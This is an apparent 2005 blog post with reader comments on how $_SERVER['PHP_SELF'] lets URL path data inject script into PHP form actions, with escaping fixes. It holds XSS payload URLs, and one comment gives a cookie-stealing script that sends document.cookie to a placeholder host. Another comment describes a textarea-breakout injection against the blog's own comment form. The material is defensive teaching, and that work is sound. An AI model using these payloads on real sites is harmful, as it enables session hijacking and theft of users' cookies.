1. XSS Woes

    A predominant PHP developer (whose name I didn't get permission to drop, so I won't, but many of you know who I mean) has been doing a bunch of research related to Cross Site Scripting (XSS), lately. It's really opened opened my eyes to how much I take user input for granted.

    Don't get me wrong. I write by the "never trust users" mantra. The issue, in this case, is something abusable that completely slipped under my radar.

    Most developers worth their paycheque, I'm sure, know the common rules of "never trust the user", such as "escape all user-supplied data on output," "always validate user input," and "don't rely on something not in your control to do so (ie. Javascript cannot be trusted)." "Don't output unescaped input" goes without saying, in most cases. Only a fool would "echo $_GET['param'];" (and we're all foolish sometimes, aren't we?).

    The problem that was demonstrated to me exploited something I considered to be safe. The filename portion of request URI. Now I know just how wrong I was.

    Consider this: you build a simple script; let's call it simple.php but that doesn't really matter. simple.php looks something like this:

    <html>
     <body>
      <?php
      if (isset($_REQUEST['submitted']) && $_REQUEST['submitted'] == '1') {
        echo "Form submitted!";
      }
      ?>
      <form action="<?php echo $_SERVER['PHP_SELF']; ?>">
       <input type="hidden" name="submitted" value="1" />
       <input type="submit" value="Submit!" />
      </form>
     </body>
    </html>

    Alright. Let's put this script at: http://example.com/tests/simple.php. On a properly-configured web server, you would expect the script to always render to this, on request:

    <html>
     <body>
      <form action="/tests/simple.php">
       <input type="hidden" name="submitted" value="1" />
       <input type="submit" value="Submit!" />
      </form>
     </body>
    </html>

    Right? No.

    What I forgot about, as I suspect some of you have, too (or maybe I'm the only loser who didn't think of this (-; ), is that $_SERVER['PHP_SELF'] can be manipulated by the user.

    How's that? If I put a script at /simple/test.php, $_SERVER['PHP_SELF'] should always be "/simple/test.php", right?

    Wrong, again.

    See, there's a feature of Apache (I think it's Apache, anyway) that you may have used for things like short URLs, or to optimize your query-string-heavy website to make it search-engine friendly. $_SERVER['PATH_INFO']-based URLs.

    Quickly, this is when scripts are able to receive data in the GET string, but before the question mark that separates the file name from the parameters. In a URL like http://www.example.com/download.php/path/to/file, download.php would be

    executed, and /path/to/file would (usually, depending on config) be available to the script via $_SERVER['PATH_INFO'].

    The quirk is that $_SERVER['PHP_SELF'] contains this extra data, opening up the door to potential attack. Even something as simple the code above is vulnerable to such exploits.

    Let's look at our simple.php script, again, but requested in a slightly different manner: http://example.com/tests/simple.php/extra_data_here

    It would still "work"--the output, in this case, would be:

    <html>
     <body>
      <form action="/tests/simple.php/extra_data_here">
       <input type="hidden" name="submitted" value="1" />
       <input type="submit" value="Submit!" />
      </form>
     </body>
    </html>

    I hope that the problem is now obvious. Consider: http://example.com/tests/simple.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3Cfoo

    The output suddenly becomes very alarming:

    <html>
     <body>
      <form action="/tests/simple.php/"><script>alert('xss')</script><foo">
       <input type="hidden" name="submitted" value="1" />
       <input type="submit" value="Submit!" />
      </form>
     </body>
    </html>

    If you ignore the obviously-incorrect <foo"> tag, you'll see what's happening. The would-be attacker has successfully exploited a critical (if you consider XSS critical) flaw in your logic, and, by getting a user to click the link (even through a redirect script), he has executed the Javascript of his choice on your user's client (obviously, this requires the user to have Javascript enabled). My alert() example is non-malicious, but it's trivial to write similarly-invoked Javascript that changes the action of a form, or usurps cookies (and submits them in a hidden iframe, or through an image tag's URL, to a server that records this personal data).

    The solution should also be obvious. Convert the user-supplied data to entities. The code becomes:

    <html>
     <body>
      <?php
      if (isset($_REQUEST['submitted']) && $_REQUEST['submitted'] == '1') {
        echo "Form submitted!";
      }
      ?>
      <form action="<?php echo htmlentities($_SERVER['PHP_SELF']); ?>">
       <input type="hidden" name="submitted" value="1" />
       <input type="submit" value="Submit!" />
      </form>
     </body>
    </html>

    And an attack, as above, would be rendered:

    <html>
     <body>
      <form action="/tests/simple.php/&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&amp;lt;foo">
       <input type="hidden" name="submitted" value="1" />
       <input type="submit" value="Submit!" />
      </form>
     </body>
    </html>

    This still violates the assumption that the script name and path are the only data in $_SERVER['PHP_SELF'], but the payload has been neutralized.

    Needless to say, I felt silly for not thinking of such a simple exploit, earlier. As the aforementioned PHP developer said, at the time (to paraphrase): if guys who consider themselves experts in PHP development don't notice these things, there's little hope for the unwashed masses who have just written their first 'echo "hello world!\n";'. He's working on a generic user-input filtering mechanism that can be applied globally to all user input. Hopefully we'll see it in PECL, soon. Don't forget about the other data in $_SERVER, either..

    ... ...

    Upon experimenting with this exploit on my own server (and watching the raw data in my _SUPERGLOBALS, conveniently, via phpinfo()), I noticed something very interesting that reminded me that even though trusting this data was a stupid mistake on my part, I'm not the only one to do so. A fun (and by fun, I mean nauseating) little game to play: create a file called "info.php" (or whatever name you like). In it, place only "<php phpinfo(); ?>". Now request it like this: http://your-server/path/to/info.php/%22%3E%3Cimg%20src=http://www.perl.com/images/75-logo.jpg%3E%3Cblah

    Nice huh? A little less nauseating: it's fixed in CVS.

    49 Responses

    Feed for this Entry
    • Another possible remedy: use $_SERVER['SCRIPT_NAME'] instead of $_SERVER['PHP_SELF']. While it's less portable (or so I've heard; I've never tested on Windows' IIS), it doesn't append the PATH_INFO to the script path.

    • Torsten Roehr

      2005 May 18 05:06

      My provider only applies the Apache look-back feature to files that have been set to a certain permission set - for all 'normal' files this would lead to a 404 error:
      /tests/simple.php/var1/value1/

      And in the files that have the right permissions you cannot use $_SERVER['PHP_SELF'] anyway, because you know that it will always append to the last / like this:
      /tests/simple.php/var1/value1/tests/simple.php

    • Another potential remedy that isn't very attractive, but is probably more portable than $_SERVER['SCRIPT_NAME'] and appears to be working well in my exhaustive 3-minute testing regimen:

      Ugly -- would never have originally thought to do something like that -- thanks very much for the write-up, Sean!

    • Er... again without the carrots:

      replace echo $_SERVER['PHP_SELF'] with the ugly ...

      echo substr($_SERVER['PHP_SELF'], 0, (strlen($_SERVER['PHP_SELF']) - @strlen($_SERVER['PATH_INFO'])));

      Thanks for the tip, Sean!

    • Hey, I thought you were in my talk in Montreal! I told you the origin of stuff in $_SERVER was difficult to determine. :-) I still think it's best to consider everything in $_SERVER to be tainted.

      Also, see Geoff Young's comments here:

      http://shiflett.org/archive/98

    • Sure. I was there. (-: Difficult to determine, sure. I considered PHP_SELF safe. I was wrong (-:

      But yes; I agree. It's prudent to consider everything in $_SERVER[] tainted.

      S

    • I should also mention that I don't think considering everything in $_SERVER to be tainted is only useful for inexperienced developers or anything. This is a practice I recommend for everyone. Here's another interesting link:

      http://www-128.ibm.com/developerworks/blogs/dw_blog_comments.jspa?blog=481&entry=75480

      If you'll read Rasmus's comment, you'll see that he was unaware that the Host header can affect $_SERVER['SERVER_NAME']. If Rasmus has trouble, then there's little hope for the unwashed masses who have just written their first Hello World. :-)

      Geoff's comments in my blog reveal how complicated it can be to determine which information we get from the Apache API can be directly manipulated by the user.

    • Something like the code above could save people from a lot of headaches.

    • Oops, the code I posted is hidden. Here it is again, but then without the PHP opening and closing tags:

      function clean($input)
      {
      $input = strip_tags($input);
      $input = htmlentities($input);
      //et cetera

      return $input;
      }

      $_SERVER['PHP_SELF'] = clean($_SERVER['PHP_SELF'];

    • So... who cares? OH NOES! Someone has made some javascript pop up on my site... but really, what are the practical consequences of such an attack?

    • As I explained above:
      My alert() example is non-malicious, but it's trivial to write similarly-invoked Javascript that changes the action of a form, or usurps cookies (and submits them in a hidden iframe, or through an image tag's URL, to a server that records this personal data).

    • Well, an attacker could put any kind of HTML or JavaScript insert to your page.. This includes scripts that read cookies or misuse the trust visitors put in your site in some other way. The sky is the limit :-(

      Luckily, the only way to exploit this problem is luring people into clicking on a link that contains the evil script.

    • Ironically, the reason your code was absent is because (without researching; this is guess) Serendipity uses strip_tags on your comment. In this case, htmlentities() should've been used alone.

      S

    • Or clicking on a link that redirects to a link that contains the malicious characters: http://tinyurl.com/afr8c

      Apologies to the folks at zaup.org (it was on the first page of a google search for "phpinfo()")

      S

    • Have to confess that slipped under my radar as well - PHP_SELF is one thing I´d never thought to question.

      If I remember right, doesnt PHP_SELF also contain the contents of GET variables, if the incoming request method was POST? Thats another potential angle although fixing one may fix the other.

      The more I look at that $_SERVER array, the more I think its a mess. Aside from potential security issues, its also extremely hard to determine the name of a script where execution began from another script which got included later, in a manner that is SAPI independent. SCRIPT_NAME will be the path to the PHP binary, when its being used as a CGI. A magic constant __MAIN__ would really help.

    • The root of the problem here seems to be that php is automatically urldecode()-ing PHP_SELF, which is kind of disturbing and annoying in a magic_quotes, register_globals kind of way.

      The simplest solution appears to be using $_SERVER['REQUEST_URI'] instead of $_SERVER['PHP_SELF'], since (in my experience/testing) REQUEST_URI isn't automatically urldecoded but provides essentially the same information, though I must confess I don't really understand the difference. I suppose if you're using a custom ErrorDocument php script, for instance, PHP_SELF might contain the path to the ErrorDocument whereas REQUEST_URI would contain the original request.

      Anyway, substituting REQUEST_URI, the above exploit url results in the harmless output (ignore the space before "form"):

      form action="/test.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3Cfoo">

      If you try to just append the script tag directly, no escaping, it ends up escaped once it gets to the script, which I assume is done automatically by your browser. If it is the browser (and not Apache, in which case we'd be safe anyway), someone could still cause the xss by manually making the HTTP request somehow, circumventing the browser's default urlencoding, but then the exploit wouldn't be very useful since the hacker would only be able to do it to himself, i.e. if he distributed his malicious url it wouldn't do anything to his victims because of their browsers' automatic urlencoding.

    • Data MUST be URLEncoded, when passed to the HTTPD. If you try telnetting to a web server on port 80, and start passing it anything but simple requests, you're likely to get error messages back.

      As for PHP URLDecoding: this is the appropriate behaviour. If not, then submitting "My Name" into an input field called "foo" would result in $_REQUEST['foo'] == "My+Name"; (or "My%20Name"). Nobody wants this.

      Like Chris outlined, above: never trust user input, and consider everything in $_SUPERGLOBALS to be user input. That's the real solution.

      S

    • I agree request variables should be urldecoded automatically, but I'd rather have my path raw.

      I think what it comes down to is that in many of the situations where you'd use PHP_SELF (particularly, embedding the url of the current page/request in the output), there isn't much advantage to having the path part or indeed any part of the url automatically urldecoded, and the big disadvantage is you essentially have to undo the decode in order to avoid xss. With REQUEST_URI (assuming its non-decoded nature can be depended upon) you don't have to worry about it, especially if, as you say, httpd's just going to barf if someone tries to send it non-encoded requests. In other words, you can depend on REQUEST_URI being urlencoded because otherwise your script wouldn't be running in the first place.

      I'll grant you it doesn't feel safe just trusting REQUEST_URI in that situation, but could it be?

      On further reflection, I guess it does make sense for PHP_SELF to be automatically urldecoded because it appears to be intended for use with the filesystem rather than urls (the manual says PHP_SELF is "the filename of the currently executing script, relative to the document root"). So I think this exploit really comes from a misuse of PHP_SELF (treating it as a url rather than a filename, not that it would ever be safe to do the latter) combined with PHP_SELF essentially being broken by look-back, which causes it to not always indicate an actual file relative to the document root according to its original purpose. If you actually, reliably want "the filename of the currently executing script," I guess you'll have to use [url=http://blog.phpdoc.info/index.php?url=archives/13-XSS-Woes.html#c43]Clay's snippet[/url] above. Or maybe [url=http://us2.php.net/reserved.variables]SCRIPT_NAME[/url]?

    • Anonymous

      2005 May 19 02:38

      Uh, no, you are completely wrong. There is nothing that says data must be urlencoded and you can pass whatever you want across port 80. Most browsers will urlencode stuff, but if you are relying on that for your security, you are in for some nasty surprises.

    • Very clever indeed! This way one can manipulate many other ENV variables if they are displayed...

    • Sure. But not "completely" wrong.

      You'll have a hard time sending a \n or a " " without encoding it, though..

      S

    • SCRIPT_NAME is inconsistent between SAPIs, allegedly. I haven't used CGI for a HTTPD in a long time.

      S

    • Michael Muryn

      2005 May 29 20:31

      Why not just use htmlspecialchars(...) everywhere there is a PHP_SELF?

      Am I missing something or it is just so obvious that nobody suggested that simple solution?

    • Michael Muryn

      2005 May 29 20:46

      Sorry for my stupidity ;-) The author of the blogpost suggested using htmlentities and since I did a search for htmlspecialchars, I haven't seen that one as I am used to use htmlspecialchars in my code. ;-)

    • OK lets take a closer look at the mentioned flaw. This data insertion can only take place when there is some form of [b]URL rewriting[/b] taking place in which case the mentioned precautions stand.

      [u]However, in other cases, if there were some data as mentioned in the "test" url's it would never take you to the form in the first place.[/u] Why? simple, the webserver first tries to look for a directory by that name, then looks for a file by that name and then finally tries to correct the typo if mod_spelling (or something like that) is enabled.

      The reason I added this is because security related posts such as this one tend to send out a wave of paranoia and panic. You just need to be sure when to be cautious, thats about all. No doubt though, "never trust user input".

      Correct me if I was wrong on the SOP (standard operating procedures)

    • For both security and correctness, I believe it's good practice to call htmlspecialchars on virtually all text you insert into an HTML document (and in my software I do). Escaping not only prevents XSS exploits, but in many cases it's the only way to guarantee that the browser can parse the document as intended, even for non-malicious users.

      There are very few circumstances where you as a developer can be absolutely sure that a variable could never contain special HTML/XML characters (quotes, less-than, ampersands, etc.) A return value from intval is one, but just about everything else isn't.

      This applies whether the value is tainted or not, either inside or outside attribute values -- anywhere HTML specifies PCDATA (parsed character data). Script elements in HTML 4 are a rare case of non-parsed character data that needs different escaping (but not under XHTML, where it should be escaped as
      usual).

      Of course, sometimes you need multiple levels of escaping. If you're building a URL querystring, then the keys and values need to be urlencoded. Then if, say, you're putting the whole thing in an href attribute, you need to call htmlspecialchars on the result. Otherwise your script can break when the first few characters of a parameter name happen to match an entity name (as in href="script?phase=90&litude=10"--the "amp" will disappear during parsing by the browser).

      Javascript strings need escaping based on addcslashes, which should include the less-than sign for HTML 4 script elements. Then in attribute values or in XHTML, use htmlspecialchars on the whole thing.

      The real problem is that PHP, ASP, and most template languages make it easiest to do the wrong thing. Calling htmlspecialchars() all the time make the code look verbose, but it should be the default. When escaping isn't done, and the parser gets out of sync with the end of the value you tried to embed, the result is an XSS vulnerability, or at least a really strange bug discovered much later in the field.

    • This is not a XSS vulnerability !

      Instead of "alert", give us a real attack.
      I guess you can't, because, it's impossible ...

    • You're wrong.

      From the original:
      "My alert() example is non-malicious, but it's trivial to write similarly-invoked Javascript that changes the action of a form, or usurps cookies (and submits them in a hidden iframe, or through an image tag's URL, to a server that records this personal data)."

      S

    • Using htmlentities($_SERVER["PHP_SELF"]) in this context is wrong. It prevents XSS for sure but it can break existing scripts on wild URIs (e.g. Wikipedia uses wild URIs with non-usual characters).

      For example, URI /test/simple.php/%23 results in PHP_SELF /test/simple.php/# which will lead us just to /test/simple.php/ and not back to /test/simple.php/%23.

      Using REQUEST_URI is the right choice for this purpose, as Alec already mentioned. And if you don't believe really no one, you can safely escape it with htmlentitites()...

      Anyway, I suppose this is only a simple demonstration example because reference to the current documented can be done with simple [url=http://www.zvon.org/tmRFC/RFC2396/Output/chapter13.html#sub2]action=""[/url] and any other form of trying to reference to myself is needless.

    • You should be using htmlspecialchars(), not htmlentities(), assuming that you're sending the correct character set in your HTTP headers.

      Also, if you just left the action attribute of the form tag empty, you'd get the same effect without any danger of XSS.

      form action="" method="post" (angle brackets removed because strip_tags is used on these comments) will always post to the current page.

      By the way, the comment form on this website has its own XSS flaw. If you enter HTML in the "Comment" textarea, while it is stripped in your real comment, if you hit Preview then it is entered without any escaping into the textarea. Something like (add angle brackets):

      /textarea script type="text/javascript" alert('hello') /script /textarea textarea

      works nicely... this could be exploited by simply posting some comment data to this page from another website. Then you could steal cookies or whatever you wanted to do.

    • >You should be using htmlspecialchars(), not htmlentities(),
      >assuming that you're sending the correct character set in
      >your HTTP headers.

      Why? Honest question. The [url=http://php.net/htmlentities]PHP Manual[/url] states (of htmlentities()):
      [quote]This function is identical to htmlspecialchars() in all ways, except with htmlentities(), all characters which have HTML character entity equivalents are translated into these entities.[/quote]
      I don't see the flaw with using htmlentities() instead of htmlspecialchars(). .. ?

      > Also, if you just left the action attribute of the form tag
      > empty, you'd get the same effect without any danger of XSS.
      {snip}

      I'm pretty sure that this causes certain browsers to post to the current [i]directory[/i], not the current [i]file[/i]. Works fine for index.php, but not so well, otherwise.

      > By the way, the comment form on this website has its
      > own XSS flaw.
      I'm pretty sure this is a known flaw in s9y. I [b]really[/b] need to get around to upgrading s9y. Thanks for the reminder.

      S

    • You're probably right about the current directory thing. Haven't tested it.

      It's not necessarily a *flaw* using htmlentities() over htmlspecialchars(), but there's just no point. If all the characters you're outputting are in your character set, which they should be if you're using UTF-8 or similar, then all htmlentities() does over htmlspecialchars() is uses about 4-5x the number of characters to display anything that can be represented with an entity.

      It doesn't offer any additional security benefit, as accented characters etc. didn't pose a security risk last time I checked...

    • I had heard about problems with PHP_SELF and was checking for information on issues and fixes for it, as I have been in the habit of making forms self validating. I found this very interesting.

      I tried the examples in the post on my own web page, and they were blocked by Apache, and resulted in 404 errors. Most interesting thing was when I loaded my page with the Javascript alert, the Netcraft toolbar said "Hey this URL contains XSS, this is used in phishing attacks, are you sure you want to continue" and when I clicked Yes, I got the standard Apache 404 page (boh displayed the default Apache 404, not the custom 404 page if you enter a URL for a page not on my site). So evidently Apache does have the ability to block this sort of attack. Running these tests on my Linux testing mule and my Mac created different results. My Linuxbox ignored the two attacks methods described above and showed my phpinfo page just fine, but Apache running on my Mac ran both injected XSS no problem. So security is not only a combination of the programing we do, but also the set up of our servers. When we have control of that, or have a host that has up to date secure methods, it should be less of a problem, but it shouldn't make us drop our guard.

    • OK, new thought, why not SCRIPT_FILENAME instead of PHP_SELF? It seems to work as well as PHP_SELF without the chance for harmful URL injection. Any known issues for this?

    • [quote]Also, if you just left the action attribute of the form tag empty, you'd get the same effect without any danger of XSS.[/quote]

      In IE and FireFox this is the case, but in a recent group project for University, we was experimenting with Mobile phone browsers, at least some of which tried, treated action="" as if they were action="/", pointing to the index page again, which caused some confusion until we realised what was going on... :)

      I now see S already commented on this one, and can concur it is indeed the case!

    • I've been using an empty action in a production system for two years. As far as I can tell, the browsers I directly support (IE 5.5+, Opera 7+, Firefox 1.0+, Safari) handle this just fine.

      I did a bit of research when Tidy complained about this. It turns out that the action must be present and be a URI ([url]http://www.w3.org/TR/html4/interact/forms.html#edef-FORM[/url]). The form for the URI is defined at [url]http://www.ietf.org/rfc/rfc2396.txt[/url]. From there I gathered that an empty string is a relative URI pointing to exactly the base URI, in this case the URL the web browser has, unless modified with the BASE tag. Specifically, section C.2. says

      [quote]An empty reference refers to the start of the current document.[/quote]

      So, this should be valid.

      Of course, putting a single period in as the URI ('.') does refer to the current directory and this, of course, is rarely what you want.

    • Granted a person couldn't get a whole lot into a url (older servers/browsers mention 255 bytes, MS says IE can handle 2,083 characters, etc)... You could easily modify the url given as an example so that if instead of simply displaying an alert it would include a js file (even from a different server). this would allow inclusion of any kind of js file - what can you do in a js file? override window.onload & any other functions within the current document. What can you get with javascript? let's see - document.cookie, ele.setAttribute, document.createElement, ele.appendChild ... wow, all kinds of abuse you could do with these.

      I was going to post another example url that would pull a js file from another server, but I thought better of it. I don't want to contribute to the delinquency of any script kiddies that might be reading this.

    • Great article, however I'd thought I'd add the following info.
      I know this topic is some what old but using _SERVER['PHP_SELF'] is only a risk if it's value is saved in a database. The it needs to be outputted it in a browser and viewed by another user. In any other case, the [u]hacker[/u] would only receive their on information. Other than that, I don't really see the risk in how it's normally used, as the action of a HTML form.

    • It seems the conclusion to this lengthy discussion is simply:

      - [b]don't echo $_SERVER[/b]'s, or at least not SCRIPT_URI, SCRIPT_URL, QUERY_STRING, PATH_INFO, PATH_TRANSLATED or PHP_SELF without treatment

      ...and specifically:

      - use REQUEST_URI, not PHP_SELF for said application (if you can't use an empty action attribute)

      Let's not confuse the issue. There's different vars for a reason.

    • Pulling data from other users is actually fairly trivial.

      All I would have to do is post a link containing the javascript injection but instead of doing window.alert() I could open a window or even load an image from my own site and add the cookies from the infected site to the request. At that point I would all of a sudden be a huge leg up in taking over your session.

      I think all of the comments on here that try to trivialize how dangerous this not filtering some of these variables is just proof of how misunderstood XSS is in the general community.

    • The XSS Cheat Sheet located at [url]http://ha.ckers.org/xss.html[/url] should help you identify a lot of the potential attack vectors as you are doing this sort of testing.

    • To those who qouestion the powers of xss, here's a "REAL" example:

      http://kek/login.php/">[script]var k='http://careful_now/steal.php?id=';new Image().src=k+document.cookie[/script]

      Omg, plase use htmlspecialchars on this comment form.

    • Rasmus's bitch

      2006 Aug 11 12:04

      Decide for yourselves what Rasmus said.
      -----------------------------------------------------

      You meant $_SERVER['SERVER_NAME'] there instead of $_SERVER_NAME, and no, that isn't affected by the host header. $_SERVER['HTTP_HOST'] is the one that can be spoofed by injecting interesting things in the host request header and even though that spoofed string doesn't match an actual host on the server, chances are the server will serve up pages for the default host or first virtual host and pass that bogus host header to anything running on that site.

      Posted by Rasmus on 25 Mar 2005, 08:40:00 PM EST

      You might want to mention http://phpsec.org/ as a source of information on this topic. :-)

      As for the $_SERVER variables based on HTTP headers, I agree that it's best to consider them all to be tainted (my approach), but it's not quite so straightforward. I blogged about this recently:

      http://shiflett.org/archive/98

      The comments from Geoff Young (of the ASF) are particularly informative. Of course, my point was much simpler - $_SERVER contains a mixture of tainted and filtered data.

      Lastly, I think we need to promote the fact that no input should be trusted (stated differently, all input should be filtered). The user isn't the only external entity with which a PHP application must communicate.

      Posted by shiflett on 26 Mar 2005, 04:10:00 PM EST

    • The host configuration is not a proper solution. A script MUST be self-sufficient to its own security.... That is for portability reasons...

    • Can someone explain to me what the fuss is all about? Yeah, sure the user can manipulate the URL string. But - let's calm down and think about this logically. UNLESS the URL string is stored and passed to other users - the only thing this is going to do is affect the one user that injected the code into the URL. What's the difference between this and saving the HTML code, changing the FORM tag, and running it? While this should be a reminder to all developers that you should ALWAYS validate user input, this one in particular, I see no real danger (again - only going to affect the ONE user that did it, unless you are dumb enough to store an unvalidated URL string).

    • Richard Lynch

      2007 Mar 21 01:26

      At the risk of being labelled a Luddite...

      Ya know, I rarely,if ever, actuallychange the name of the PHP script wherein myform tag resides.

      It's almost always a known static unchangine value.

      I think I'll just hard-code it.
      :-)

    • @Paul: read about XSS attacks in general and you'll see the danger. Real danger. Malicious user can post a mail like:
      -----
      Hi, news article on your site has incorrect data - see ... for more info. I think you should fix it. URL:
      http://www.yoursite.com/some.url.php
      -----
      If this is an HTML mail then the _real_ link could be completely different than the one posted (it could contain XSS attack code).

      There is probably a great deal of webmasters that would click on URL without thinking twice. Their cookies would be sent to a 3rd party server - enough for getting access to their admin account. And they wouldn't even notice it.

      Serious enough for you? :)

    • Great article! Thats one reason to never use PATH_INFO, but so many hosts are configured to use it be default.. its appalling.

      @AskApache